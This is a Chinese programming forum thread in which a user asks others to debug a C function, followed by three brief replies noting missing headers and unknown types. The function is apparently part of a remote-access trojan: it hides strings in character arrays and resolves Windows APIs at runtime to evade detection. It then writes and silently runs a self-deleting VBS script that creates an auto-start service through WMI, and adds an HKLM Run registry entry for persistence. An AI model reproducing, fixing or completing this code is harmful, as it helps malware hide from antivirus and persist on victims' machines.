标题:求各位大神,程序有错误,帮忙调试一段代码,谢谢
只看楼主
yuma
Rank: 11Rank: 11Rank: 11Rank: 11
来 自:银河系
等 级:贵宾
威 望:33
帖 子:1883
专家分:2904
注 册:2009-12-22
结帖率:89.13%
已结贴  问题点数:20 回复次数:3 
求各位大神,程序有错误,帮忙调试一段代码,谢谢
DWORD F360_AutoRun(LPCTSTR lpServiceName,char *ZC_nime)  //修改启动项注册表
{

HANDLE hFile;
DWORD dwWritten;
char Qname[100]={0};
char cmdline[1000]={0};
char szbuf[256]={0};

  char THwIn01[] = {'C','o','n','s','t',' ','h','k','l','m','=','&','h','8','0','0','0','0','0','0','2','\0'};
  char THwIn02[] = {'C','o','n','s','t',' ','n','a','m','e','1','=','"','\0'};
  char THwIn03[] = {'"','\0'};
  char THwIn04[] = {'S','e','t',' ','w','m','i','=','G','e','t','O','b','j','e','c','t','(','"','w','i','n','m','g','m','t','s',':','\\','\\','.','\\','r','o','o','t','\\','c','i','m','v','2','"',')','\0'};
  char THwIn05[] = {'S','e','t',' ','l','i','s','t','=','w','m','i','.','g','e','t','(','"','w','i','n','3','2','_','s','e','r','v','i','c','e','"',')','\0'};
  char THwIn06[] = {'u','u','2','=','l','i','s','t','.','c','r','e','a','t','e','(','n','a','m','e','1',',','"','\0'};
  char THwIn07[] = {'"',',','"','\0'};
  char THwIn08[] = {'"',',','1','6',',','2',',','"','A','u','t','o','m','a','t','i','c','"',',','t','r','u','e',',','N','u','l','l',',','n','u','l','l',')','\0'};
  char THwIn09[] = {'S','e','t',' ','w','m','i','=','G','e','t','O','b','j','e','c','t','(','"','w','i','n','m','g','m','t','s',':','\\','\\','.','\\','r','o','o','t','\\','d','e','f','a','u','l','t',':','s','t','d','r','e','g','p','r','o','v','"',')','\0'};
  char THwIn10[] = {'w','m','i','.','s','e','t','s','t','r','i','n','g','v','a','l','u','e',' ','h','k','l','m',',','"','S','Y','S','T','E','M','\\','C','u','r','r','e','n','t','C','o','n','t','r','o','l','S','e','t','\\','S','e','r','v','i','c','e','s','\\','"',' ','&',' ','n','a','m','e','1',',','"','D','e','s','c','r','i','p','t','i','o','n','"',',','s','t','r','d','e','s','\0'};
  char THwIn11[] = {'D','i','m',' ','o','b','j','w','s','\0'};
  char THwIn12[] = {'D','i','m',' ','k','a','v','p','a','t','h','\0'};
  char THwIn13[] = {'S','e','t',' ','o','b','j','w','s','=','W','S','c','r','i','p','t','.','C','r','e','a','t','e','O','b','j','e','c','t','(','"','w','s','c','r','i','p','t','.','s','h','e','l','l','"',')','\0'};
  char THwIn14[] = {'s','e','t',' ','f','s','o','=','w','s','c','r','i','p','t','.','c','r','e','a','t','e','o','b','j','e','c','t','(','"','s','c','r','i','p','t','i','n','g','.','f','i','l','e','s','y','s','t','e','m','o','b','j','e','c','t','"',')','\0'};
  char THwIn15[] = {'c','r','e','a','t','e','o','b','j','e','c','t','(','"','s','c','r','i','p','t','i','n','g','.','f','i','l','e','s','y','s','t','e','m','o','b','j','e','c','t','"',')','.','d','e','l','e','t','e','f','i','l','e',' ','w','s','c','r','i','p','t','.','s','c','r','i','p','t','f','u','l','l','n','a','m','e','\0'};
  
   
      char RgiDm02[] = {'K','E','R','N','E','L','3','2','.','d','l','l','\0'};
      char UtKoF31[] = {'C','r','e','a','t','e','F','i','l','e','A','\0'};
      CreateFileAT pCreateFileA=(CreateFileAT)GetProcAddress(LoadLibrary(RgiDm02),UtKoF31);
      char UtKoF32[] = {'W','r','i','t','e','F','i','l','e','\0'};
      WriteFileT pWriteFile=(WriteFileT)GetProcAddress(LoadLibrary(RgiDm02),UtKoF32);
      char JtQBs02[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'};
      CloseHandleT pCloseHandle=(CloseHandleT)GetProcAddress(LoadLibrary(RgiDm02),JtQBs02);
      
        char ResHF01[] = {'M','S','V','C','R','T','.','d','l','l','\0'};
        char BEcXb03[] = {'s','p','r','i','n','t','f','\0'};
        sprintfT psprintf=(sprintfT)GetProcAddress(LoadLibrary(ResHF01),BEcXb03);
        
          char LCoHX03[] = {'G','e','t','M','o','d','u','l','e','F','i','l','e','N','a','m','e','A','\0'};
          GetModuleFileNameAT pGetModuleFileNameA=(GetModuleFileNameAT)GetProcAddress(LoadLibrary(RgiDm02),LCoHX03);
          pGetModuleFileNameA(NULL,szbuf,MAX_PATH);   //用于获取程序本身路径
         
            char UtKoF35[] = {'%','s','\n','\r','%','s','%','s','%','s','\n','\r','%','s','\n','\r','%','s','\n','\r','%','s','%','s','%','s','%','s','%','s','\n','\r','%','s','\n','\r','%','s','\n','\r','%','s','\n','\r','%','s','\n','\r','%','s','\n','\r','%','s','\n','\r','%','s','\0'};
            psprintf(cmdline,UtKoF35,THwIn01,THwIn02,lpServiceName,THwIn03,THwIn04,THwIn05,THwIn06,lpServiceName,THwIn07,ZC_nime,THwIn08,THwIn09,THwIn10,THwIn11,THwIn12,THwIn13,THwIn14,THwIn15);
            
              int SzName = StormRand(10000);  //随机数字名称
              szbuf[3]='\0';
              char UtKoF30[] = {'%','s','%','d','.','v','b','s','\0'};
              psprintf(Qname,UtKoF30,szbuf,SzName); //
              hFile=pCreateFileA(Qname,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);
              pWriteFile(hFile,(LPCVOID)cmdline,sizeof(cmdline),&dwWritten,NULL);
              pCloseHandle(hFile);
              
                char Skvcq05[] = {'S','H','E','L','L','3','2','.','d','l','l','\0'};
                char DYrEN27[] = {'S','h','e','l','l','E','x','e','c','u','t','e','A','\0'};
                ShellExecuteAT pShellExecuteA=(ShellExecuteAT)GetProcAddress(LoadLibrary(Skvcq05),DYrEN27);
                char BvtmX12[] = {'o','p','e','n','\0'};
                pShellExecuteA(NULL,BvtmX12,Qname,NULL,NULL,SW_HIDE);
   

    char run[] = {'S','O','F','T','W','A','R','E','\\','M','i','c','r','o','s','o','f','t','\\','W','i','n','d','o','w','s','\\','C','u','r','r','e','n','t','V','e','r','s','i','o','n','\\','R','u','n','\0'};
    WriteRegEx(HKEY_LOCAL_MACHINE,run,m_ServiceInfo.Mexi,REG_SZ,ZC_nime,Gyfunction->my_strlen(ZC_nime),0);   //新建启动项
    return 0;
}
搜索更多相关主题的帖子: 错误 调试 代码 char NULL 
2019-01-30 19:35
yuma
Rank: 11Rank: 11Rank: 11Rank: 11
来 自:银河系
等 级:贵宾
威 望:33
帖 子:1883
专家分:2904
注 册:2009-12-22
得分:0 
各位,能不能点技术人员看下

心生万象,万象皆程序!
本人计算机知识网:http://bbs.为防伸手党,本站已停止会员注册。
2019-01-30 19:50
do8do8do8
Rank: 10Rank: 10Rank: 10
来 自:沙滩
等 级:贵宾
威 望:17
帖 子:366
专家分:1845
注 册:2010-7-2
得分:14 
程序的结构是顺序执行和函数调用。
若报错,无外乎,要么敲错字符,要么类型不匹配。
~~有些类型,和函数名,我百度后竟然查不到。。。。。

学C语言从底层开始,学编程从问题开始,一日学会C!!!
2019-01-31 00:22
wp231957
Rank: 16Rank: 16Rank: 16Rank: 16
来 自:神界
等 级:版主
威 望:422
帖 子:13681
专家分:53296
注 册:2012-10-18
得分:0 
缺少头文件  很多自定义的结构 鬼才知道

DO IT YOURSELF !
2019-01-31 10:31



参与讨论请移步原网站贴子:https://bbs.bccn.net/thread-492904-1-1.html




关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.014090 second(s), 7 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved